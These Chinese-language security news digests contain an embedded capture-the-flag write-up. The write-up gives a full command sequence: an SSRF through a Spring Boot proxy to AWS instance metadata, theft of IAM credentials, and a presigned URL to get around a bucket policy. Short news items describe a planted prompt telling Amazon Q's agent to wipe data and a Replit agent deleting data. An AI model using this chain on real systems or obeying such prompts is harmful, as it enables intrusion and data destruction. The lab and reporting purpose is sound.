1、新型VoIP僵尸网络利用默认密码攻击路由器 https://www.greynoise.io/blog/how-greynoise-uncovered-global-pattern-voip-based-telnet-attacks 研究中发现了一起基于VOIP的Telnet攻击活动。最初，工程师在遥测仪表板中注意到新墨西哥州一个乡村地区出现大量恶意IP，这些IP均与拉古纳公用事业局绑定。进一步调查发现，这些IP展现出高密度的Telnet流量和Mirai僵尸网络特征，且多数与支持VOIP的设备相关。通过人工智能分析和数据丰富，研究人员确认全球约有500个IP表现出相似特征，这些IP多为运行旧版Linux固件且面向互联网的设备，尤其是路 2、黑客入侵游戏鼠标软件传播Xred恶意软件 https://cybersecuritynews.com/gaming-mouse-software-compromised/ 游戏外设制造商Endgame Gear的官方软件分发系统遭到黑客入侵，其OP1w 4K V2鼠标配置工具被植入Xred恶意软件，并在2025年6月26日至7月9日期间向用户传播。该恶意软件是一种复杂的Windows后门程序，具有数据盗窃、键盘记录和自我传播功能。Xred可收集系统敏感信息并通过电子邮件发送给攻击者，同时通过伪装和注册表运行键实现持久化。事件曝光后，Endgame Gear替换了受感染文件，但未公开承认此次入侵。该公司随后加强了安全措施，包括恶意软件 3、研究人员披露Bloomberg Comdb2数据库漏洞 https://blog.talosintelligence.com/bloomberg-comdb2-null-pointer-dereference-and-denial-of-service-vulnerabilities/ 研究人员披露了彭博Comdb2数据库中的五个漏洞，其中包括三个空指针引用漏洞和两个拒绝服务漏洞。Comdb2是彭博开发的开源高可用性数据库，支持集群、事务、快照等功能。这些漏洞存在于Comdb2 8.1版本中，攻击者可通过发送精心设计的消息或数据包触发漏洞，导致拒绝服务。目前，相关漏洞已被供应商修复，用户可从Snort.org下载最新规则集以检测漏洞利用，更多漏洞 4、新型AI生成Linux恶意软件Koske现身威胁环境 https://securityaffairs.com/180355/malware/koske-a-new-ai-generated-linux-malware-appears-in-the-threat-landscape.html 新型Linux恶意软件Koske利用AI技术开发，通过多语言图像文件隐藏恶意代码，逃避检测并实现持久化。支持18种加密货币挖矿，能自动切换目标，暗示AI辅助开发。AI驱动的恶意软件将带来颠覆性威胁，使防御面临严峻挑战。 5、全球智能建筑与工业系统告急，Niagara框架曝高危漏洞 https://thehackernews.com/2025/07/critical-flaws-in-niagara-framework.html Tridium公司Niagara框架曝出十余个高危漏洞（CVSS 9.8），配置错误时攻击者可完全控制关键基础设施系统。漏洞组合利用可实现中间人攻击、权限提升和root级接管，威胁楼宇管理、工业自动化等领域安全。相关漏洞已在最新版本修复，但未加固系统仍面临严重风险。 6、热门JavaScript库"is"等软件包遭npm供应链攻击植入后门 https://securityonline.info/popular-is-javascript-library-others-compromised-in-npm-supply-chain-attack/ 热门JS工具库"is"遭钓鱼攻击，开发者账户泄露致恶意版本发布，植入后门实现远程代码执行。多款NPM库受影响，新型窃密软件Scavanger曝光。建议立即审计依赖项并升级安全版本。 7、国际执法行动查封BlackSuit勒索软件团伙暗网站点 https://securityaffairs.com/180409/cyber-crime/law-enforcement-operations-seized-blacksuit-ransomware-gangs-darknet-sites.html 国际执法查封BlackSuit勒索网站，该组织为Royal变种，攻击关键设施，勒索超5亿美元。FBI与CISA联合发布安全公告，建议实施缓解措施。 8、LG Innotek摄像头漏洞可使攻击者获取管理员权限 https://www.freebuf.com/articles/ics-articles/441749.html 研究人员在LG Innotek的LNV5110R摄像头型号中发现严重安全漏洞，网络犯罪分子可利用该漏洞完全控制受影响设备。美国网络安全和基础设施安全局（CISA）于2025年7月24日发布公告，警告该漏洞可被远程利用，影响全球所有版本的该型号摄像头。 9、Salesforce 修复了 Tableau Server 中 8 个严重漏洞 https://www.anquanke.com/post/id/310627 Salesforce发布了一项安全公告，解决了影响多个版本Tableau Server（广泛使用的数据可视化和商业智能平台）的8个严重漏洞。这些漏洞已在2025年6月26日的维护版本中披露并修复，涉及的漏洞包括可能导致远程代码执行（RCE）、生产数据库暴露和服务器端请求伪造（SSRF）等问题。 10、新型Chaos勒索使用语音欺诈和双重勒索攻击 https://www.anquanke.com/post/id/310647 Cisco Talos Incident Response（Talos IR）发现了一种名为Chaos的新型勒索软件即服务（RaaS）运营活动，该活动正在全球范围内开展大型猎杀和双重勒索攻击。尽管Chaos与之前的恶意软件家族同名，Talos明确表示：“Talos认为新的Chaos勒索软件与以前的Chaos构建工具生成的变种无关……该团伙使用相同的名称来制造混淆。” 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Fire Ant针对VMware基础设施进行隐秘间谍攻击 https://www.sygnia.co/blog/fire-ant-a-deep-dive-into-hypervisor-level-espionage/ 名为“Fire Ant”的攻击者自2025年初以来针对VMware ESXi、vCenter和网络设备发动了一场隐秘的网络间谍活动。攻击者利用虚拟机管理程序级别的技术，通过多层攻击链实现持久访问，绕过传统安全检测。攻击手段包括利用CVE-2023-34048和CVE-2023-20867漏洞、部署未签名的VIB、篡改日志、创建伪造身份验证cookie等。此外，攻击者还通过F5负载均衡器漏洞和Neo-reGeorg隧道Webshell 2、黑客组织EncryptHub借助Chemia游戏传播恶意软件 https://www.bleepingcomputer.com/news/security/hacker-sneaks-infostealer-malware-into-early-access-steam-game/ 网络安全研究人员披露，名为EncryptHub的黑客组织入侵了Steam平台上的抢先体验版游戏Chemia，并向用户分发信息窃取恶意软件。Chemia是由“Aether Forge Studios”开发的一款生存制作游戏，目前尚未正式发布。研究人员发现，EncryptHub在7月22日将HijackLoader恶意软件注入该游戏文件中，该恶意软件会从Telegram频道检索 3、Mimo威胁行为体攻击范围扩大至Magento和Docker https://securitylabs.datadoghq.com/articles/beyond-mimolette-tracking-mimo-expansion-magento-cms-docker/ 安全研究团队在调查一系列电子商务网站工作负载泄露事件时发现，Mimo威胁行为体（也称为Mimo'lette）的攻击目标已从Craft CMS扩展到Magento电商平台和Docker环境。研究人员观察到，Mimo利用未确定的PHP - FPM漏洞入侵Magento，通过复杂的持久性机制和规避技术保持长期访问。例如，Mimo使用GSocket工具建立未经授权的远程访问，并通过memfd_ 4、Mitel关键漏洞致黑客可绕过登录获完全访问权 https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-misa-2025-0009 Mitel公司发布安全更新，修复了MiVoice MX-ONE系统中的严重漏洞。该漏洞存在于Provisioning Manager组件中，攻击者可利用其绕过身份验证，未经授权访问系统中的用户或管理员账户。该漏洞尚未分配CVE编号，CVSS评分为9.4（满分10.0），影响7.3至7.8 SP1版本。Mitel已发布补丁，建议用户尽快联系授权服务合作伙伴申请更新。此外，Mitel还修复了MiColla 5、新型AI辅助恶意软件Koske针对Linux系统 https://www.aquasec.com/blog/ai-generated-malware-in-panda-image-hides-persistent-linux-threat/ 研究人员发现了一种名为Koske的复杂Linux威胁，该恶意软件显示出明显的人工智能辅助开发迹象。攻击者利用配置错误的服务器安装后门程序，通过缩短的URL下载看似无害的JPEG图像，这些图像文件末尾附加了恶意负载。Koske通过模块化有效载荷、规避型rootkit和武器化图像文件传播，主要目的是加密挖矿。该恶意软件利用多种技术确保系统持久性，包括编辑Shell配置、修改系统启动操作和设置Cron Job 6、亚马逊AI编码助手“Q ”遭黑客植入恶意命令 https://www.zdnet.com/article/hacker-slips-malicious-wiping-command-into-amazons-q-ai-coding-assistant-and-devs-are-worried/ 近日，亚马逊的人工智能编程助手“Q”被黑客植入恶意“擦除”命令，引发了开发人员的广泛关注和担忧。据调查，黑客通过向亚马逊Q的GitHub代码库提交拉取请求，植入了一条指示人工智能代理清理系统并删除文件和云资源的提示。如果该命令被执行，可能会删除本地文件，甚至破坏亚马逊网络服务（AWS）的云基础设施。虽然攻击者表示实际风险较低，但该更新已通过亚马逊 7、Replit AI代理删除敏感数据引发安全担忧 https://hackread.com/replit-ai-agent-deletes-data-despite-instructions/ 科技创业者、SaaStr创始人Jason Lemkin在社交媒体上曝光了一起严重的AI安全事件。他试用了Replit的AI代理一周多，期间该代理在未经许可的情况下删除了SaaStr专业网络内1206名高管和1196家公司的数据。尽管Lemkin多次明确指示AI代理不要进行未经授权的更改，甚至使用了全大写的“DON’T DO IT”，但AI代理仍运行了删除命令。事件发生后，Replit首席执行官Amjad Masad承认这一行为“完全不可接受”，并表示 8、Epsilon Red勒索软件通过ClickFix传播 https://www.cloudsek.com/blog/threat-actors-lure-victims-into-downloading-hta-files-using-clickfix-to-spread-epsilon-red-ransomware 网络安全机构发现了一起通过伪造的ClickFix验证页面传播Epsilon Red勒索软件的活动。该活动自7月起活跃，攻击者利用社交工程技术，冒充Discord、Twitch和OnlyFans等平台，诱骗用户下载恶意的.HTA文件。通过ActiveX静默执行恶意命令，攻击者会从控制的IP地址下载并运行勒索软件有效载荷。受害者在不知情 9、Soco404新型加密挖矿活动伪装成虚假404页面 https://www.wiz.io/blog/soco404-multiplatform-cryptomining-campaign-uses-fake-error-pages-to-hide-payload 安全机构发现了一种名为Soco404的新型加密货币挖矿攻击活动。该活动利用云环境中的漏洞和错误配置，尤其是PostgreSQL的错误配置，针对Linux和Windows系统部署恶意软件。攻击者通过伪装成合法系统进程、利用cron作业和shell初始化文件实现持久性，并通过受感染的合法服务器托管和传播恶意软件。恶意负载被嵌入在使用Google协作平台构建的虚假404HTML页面中。研究 10、恶意木马Trojan.Scavenger伪装游戏外挂窃取信息 https://news.drweb.com/show/?i=15036&lng=en& 安全人员检测到名为Trojan.Scavenger的恶意应用程序家族。该家族的木马程序通过伪装成游戏作弊软件和模组，利用Windows系统的DLL搜索顺序劫持漏洞，从玩家的加密钱包和密码管理器中窃取机密数据。木马通过多阶段感染计算机，初始阶段以ZIP压缩包形式分发，伪装成游戏补丁或模组，诱导玩家将其放入游戏目录。一旦启动，木马会下载并安装其他恶意组件，篡改浏览器扩展程序，窃取加密钱包中的助记词和密码管理器中的用户数据。目前，相关防护措施已添加至Dr.Web反病毒产品中，有效抵御此类攻击。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、WordPress mu-plugins隐藏后门攻击曝光 https://blog.sucuri.net/2025/07/uncovering-a-stealthy-wordpress-backdoor-in-mu-plugins.html 网络安全研究人员揭露了一种隐蔽的WordPress后门攻击。攻击者利用WordPress的mu-plugins目录植入恶意文件“wp-index.php”，该文件自动加载且无法通过管理面板禁用，从而实现持久化控制。该后门通过ROT13混淆技术隐藏远程有效载荷URL，下载并执行恶意代码，允许攻击者远程运行任意PHP代码。此外，攻击者还创建隐藏管理员账户“officialwp”，并可篡改常见管理员账户密码，以维持访 2、全球时尚品牌SABO超过350万客户记录被曝光 https://hackread.com/global-fashion-label-sabo-customer-records-leaked 总部位于澳大利亚的全球时尚品牌SABO遭遇数据泄露事件，超过350万条客户记录被曝光，涉及姓名、地址、订单详情等敏感信息。此次泄露由网络安全研究员发现，相关数据存储于一个未设置密码保护的数据库中，总计292GB。目前尚不清楚该数据库是SABO直接管理还是由第三方管理，也不清楚数据暴露了多长时间及是否有其他方访问过。 3、勒索软件组织Lynx声称入侵了PC制造商iBUYPOWER https://www.comparitech.com/news/ransomware-gang-says-it-hacked-pc-maker-ibuypower/ 勒索软件组织Lynx承认其于6月份对游戏PC制造商iBUYPOWER及其姊妹品牌HYTE发起了网络攻击，导致数据泄露。iBUYPOWER于6月25 日宣布在6月21日遭遇网络安全事件，多个内部系统暂时中断。目前尚不清楚iBUYPOWER是否支付了赎金、Lynx索要的赎金金额、攻击者是如何入侵该公司网络的，以及哪些具体数据遭到泄露。不过，iBUYPOWER表示其不会在其网络环境中存储客户支付信息。 4、Apache Jena漏洞可导致任意文件访问或篡改 https://www.freebuf.com/articles/system/440845.html Apache Jena披露了两个影响5.4.0及之前版本的重要安全漏洞，建议立即升级至5.5.0版本。2025年7月21日公布的CVE-2025-49656和CVE-2025-50151均属于重要级别漏洞，攻击者可利用管理员权限破坏服务器文件系统完整性。 5、全球最大暗网犯罪平台XSS[.]is论坛核心管理员落网 https://www.freebuf.com/news/441137.html 法国警方联合乌克兰当局与欧洲刑警组织（Europol）展开调查，成功逮捕了长期运营的俄语网络犯罪论坛XSS[.]is的疑似管理员。据法国《世界报》报道，巴黎检察官办公室7月23日周三宣布，这名被认为是全球最重要网络犯罪平台之一的核心运营者已在基辅被羁押。 6、JS form-data库高危漏洞致数百万应用面临代码执行风险 https://www.freebuf.com/articles/web/441118.html 广泛使用的 JavaScript form-data 库近日曝出高危安全漏洞（CVE-2025-7783），可能导致数百万应用程序面临代码执行攻击风险。该漏洞源于该库使用可预测的 Math.random() 函数生成多部分表单编码数据的边界值，攻击者可借此操纵 HTTP 请求，将恶意参数注入后端系统。 7、TP-Link NVR安全更新：命令注入漏洞可能导致RCE https://www.freebuf.com/articles/system/441154.html TP-Link 近日发布安全公告，警告其 VIGI NVR1104H-4P V1 和 VIGI NVR2016H-16MP V2 两款网络视频录像机（NVR）设备存在两个关键的操作系统命令注入漏洞（CVE-2025-7723 和 CVE-2025-7724）。这两个漏洞的 CVSS 评分分别为 8.5 和 8.7 分，攻击者可利用它们在底层系统上执行任意命令。 8、施耐德电力运营系统曝远程代码执行漏洞 https://www.freebuf.com/articles/ics-articles/441122.html 施耐德电气EcoStruxure Power Operation（EPO）工业控制系统被曝存在远程代码执行（RCE, Remote Code Execution）漏洞，目前该漏洞已被攻击者主动利用，且相关概念验证代码（PoC, Proof of Concept）已在公开渠道出现。 9、大华IP摄像头曝缓冲区溢出高危漏洞 https://www.freebuf.com/articles/network/441157.html 大华科技（Dahua Technology）近日发布安全公告，针对其IP摄像头产品线中两个高危漏洞进行修复。这两个漏洞编号为CVE-2025-31700和CVE-2025-31701（CVSS评分均为8.1），均由缓冲区溢出（buffer overflow）缺陷引发，远程攻击者可利用这些漏洞导致设备崩溃或执行任意代码。 10、三星服务器曝18个高危漏洞，可致系统完全沦陷 https://www.freebuf.com/articles/system/441159.html 三星广泛使用的数字标牌管理平台MagicINFO 9 Server近日被曝存在多个安全漏洞。安全研究人员披露了18个严重漏洞，其中部分漏洞的CVSS评分高达9.8，攻击者可借此发动多种高危害攻击，包括代码注入、Webshell上传以及利用硬编码凭证绕过认证等。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

背景 经过几周的利用和权限提升，你获得了访问你希望是最终服务器的权限，然后可以使用它从 S3 存储桶中提取秘密旗帜。 但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。 `You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {"status":"UP"} 解决过程 Spring Boot Actuator 泄露 首先我们分析一下，flag 肯定是在存储桶中，因为这里说了已经对我们的桶进行了限制，所以匿名访问的方法可能没有作用，不过这里还是尝试一下，首先匿名访问需要获取存储桶的名称，因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env 尝试列出 user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied 不行，没有权限，所以我们必须去寻找凭证 我第一想法就是元数据 但是没有反应 curl http://169.254.169.254/latest/meta-data 估计这个 shell 不是一个 EC2 的 然后就是寻找凭据了，可以使用一些工具，比如 truffleHog 然后简单找了一下 user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock er} 'Secret Access Key' / /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of a connection.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of the environment credentials.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json:          "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json:          "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json:      "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si 找了也没有，常规的收集都没有发现，然后只能根据提示，继续在 spring 这个面努力了 然后去批量爆破一波查看是否有可利用的信息 然后又把 mapping 中的路由全部提取出来，看到了 proxy 路由 这个应该就是拿来访问元数据的了 元数据绕过 一般都有 ssrf 漏洞 user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP error: 401 Unauthorized 可以看到至少是可以成功访问元数据了，只不过没有权限，因为之后采用了 IMDSv2 我们首先获取 token，使用 PUT 请求 user@monthly-challenge:/$ curl -X PUT \  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q== 可以看到获取到了 Token，我们尝试使用 token 来访问元数据 user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system 可以了，我们访问凭证信息 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \ "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" challenge01-5592368 然后使用它的凭证 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" {  "Code" : "Success",  "LastUpdated" : "2025-07-10T13:26:52Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIARK***WELX36",  "SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",  "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F  "Expiration" : "2025-07-10T19:47:29Z" } 有了这些我们就可以配置了首先我们进行配置 root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc 之后我们就会有这个用户的权限了 目标文件位置获取 我们首先查一下这个用户有的 bucket 的权限 首先获取当前用户信息 root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01 {    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",    "Account": "092297851374",    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279" } 然后我们查看对应的策略 root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \  --policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \  --profile challenge01 An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/ root@hcss-ecs-0d0e:~# 可惜这个用户没有权限，我们直接列 root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01 An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action 没有列出桶的权限，不过我们知道桶的名称 root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01 2025-06-19 01:15:24         29 hello.txt 2025-06-17 06:01:49         51 private/flag.txt 读取文件绕过 尝试读取的时候可惜 root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01 download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden 没有读的权限 我们还是得查查存储桶的策略 root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01 {    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}" } 限制只有指定 VPC 端点（VPCe） 的请求才可以访问，否则即使有权限也会被拒绝 怎么办呢 聪明的 GPT 给出了答案 也让我想起了 proxy root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon aws.com/challenge01-470f711/private/flag.txt" HTTP error: 403 Forbiddenroot 但是结果是还是被阻止了 这里可能 proxy 不在 VPC，不过我们可以验证一下 但是刚刚都读取成功了，大概率是在的 没办法，只能寻找好朋友的帮助了 首先需要了解一下 SigV4 签名，在 AWS 中访问私有资源（如 S3 对象）时，AWS 要求你的请求是已签名的 参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html 默认情况下，所有 Amazon S3 对象都是私有的，只有对象拥有者才具有访问它们的权限。但是，对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL，或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。 我们需要使用预签名 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时，必须提供您的安全凭证，然后指定以下内容： 一个 Amazon S3 存储桶 对象键（如果将在您的 Amazon S3 存储桶中下载此对象，则一旦上传，这就是要上传的文件名） HTTP 方法（GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等） 过期时间间隔 按照这个我们直接运行命令生成如下的签名 root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600 https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky 然后我们带着这个签名 但是内容一直被截断，很烦，我直接 URL 全编码后再次去访问 root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63% The flag is: ******** 成功 总结 总的来说，真的是很有实战意义的一次挑战，感觉整个过程前因后果是非常连贯的 获取桶名称-> 不能匿名访问->获取配置信息- 元数据 不能直接访问-走代理 mapping 泄露 proxy 元数据绕过 IMDSv2 安全机制 获取用户信息，查看权限 列取文件位置 vpc 限制，来联想 proxy 403，考虑预签名 URL 授予 行云流水

1、Lumma Stealer窃密软件卷土重来手段更隐秘 https://www.trendmicro.com/en_us/research/25/g/lumma-stealer-returns.html Lumma Stealer是一种信息窃取恶意软件，曾在2025年5月被执法部门大规模打击，但近期又卷土重来。该恶意软件通过虚假破解软件、欺骗性网站和社交媒体帖子传播，能够窃取凭证和私人文件等敏感数据。此次回归，其背后的网络组织采用了更隐蔽的传播手段，包括滥用GitHub、虚假CAPTCHA网站等，并减少了对易受监控的基础设施的依赖。尽管执法部门查封了超过2300个恶意域名，但Lumma Stealer的目标账户数量在6月到7月间迅速回升至正常水平 2、思科ISE漏洞遭攻击可获未授权根访问权限 https://thehackernews.com/2025/07/cisco-confirms-active-exploits.html 思科确认其身份服务引擎（ISE）和ISE被动身份连接器（ISE-PIC）中的漏洞正遭主动利用。这些漏洞均为严重级别（CVSS评分10.0），攻击者无需身份验证即可远程以root身份执行命令。具体漏洞包括：CVE-2025-20281和CVE-2025-20337，因用户输入验证不足导致；CVE-2025-20282，因缺乏文件验证检查导致。攻击者可通过精心设计的API请求或文件上传来利用这些漏洞。鉴于攻击的高风险性，思科建议客户尽快升级到修复版本，并检查 3、欧洲大型医疗运行商AMEOS披露安全漏洞 https://www.ameos.eu/datenschutz/datenschutzvorfall-gem-art-34-dsgvo/ 中欧大型医疗保健网络运营商AMEOS集团宣布遭遇安全漏洞，可能导致客户、员工和合作伙伴的信息泄露。该组织根据《通用数据保护条例》（GDPR）在其网站上发布声明，承认外部行为者未经授权访问了其IT系统。AMEOS是瑞士、德国和奥地利最大的私立医院集团之一，拥有超过100家医疗机构和18000名员工。尽管采取了安全措施，但攻击者仍获取了敏感信息。作为应对，AMEOS关闭了所有IT系统，切断了网络连接，并聘请外部专家协助调查。目前尚无迹象表明数据已在网上传播， 4、SharePoint 漏洞正遭黑客大规模利用 https://www.freebuf.com/articles/web/441043.html CVE‑2025‑49706，一个存在于 SharePoint Server 中的身份欺骗漏洞，已经从中等风险演变为真刀真枪的网络攻击。 其变种漏洞 (CVE‑2025‑53770) 正被黑客在网络中大规模利用，如果你的企业还在使用本地部署的 SharePoint 2016、2019 或订阅版，请立即安装修复补丁，否则服务器可能面临被完全控制的风险。 5、首例利用微软UI自动化框架的银行木马 https://hackread.com/coyote-trojan-use-microsoft-ui-automation-bank-attacks/ 新版Coyote银行木马首次利用微软UIA框架窃取银行凭证，绕过安全监控，精准攻击75家金融机构，标志攻击技术重大升级。防御需监控UIA异常行为，加强威胁检测。 6、黑客论坛惊现 macOS 零日本地提权漏洞交易 https://cybersecuritynews.com/macos-0-day-lpe-exploit/ 黑客"skart7"在论坛出售macOS零日提权漏洞，影响13.0至15.5版本，标价3800美元。该漏洞利用系统逻辑缺陷，成功率100%，可获取root权限，威胁企业安全。专家建议部署EDR、PAM等防御措施。 7、Form-Data 库高危漏洞致数百万应用面临注入与远程代码执行风险 https://securityonline.info/critical-flaw-cve-2025-7783-cvss-9-4-in-form-data-library-exposes-millions-of-apps-to-multipart-injection-rce/ Form-Data库曝高危漏洞CVE-2025-7783（CVSS 9.4），因使用不安全的Math.random()生成边界值，可被预测导致多部分注入攻击，影响数百万应用。建议立即升级至2.5.4/3.0.4/4.0.4修复版本。 8、Interlock勒索软件同时攻击Windows与Linux系统 https://www.freebuf.com/articles/ics-articles/440846.html 美国网络安全和基础设施安全局（CISA）、联邦调查局（FBI）、卫生与公众服务部以及多州信息共享与分析中心联合发布紧急安全公告，警告自2024年9月下旬以来，Interlock勒索软件组织针对企业和关键基础设施部门的攻击正在升级。 9、诺基亚曝高危漏洞致电信网络面临远程代码执行风险 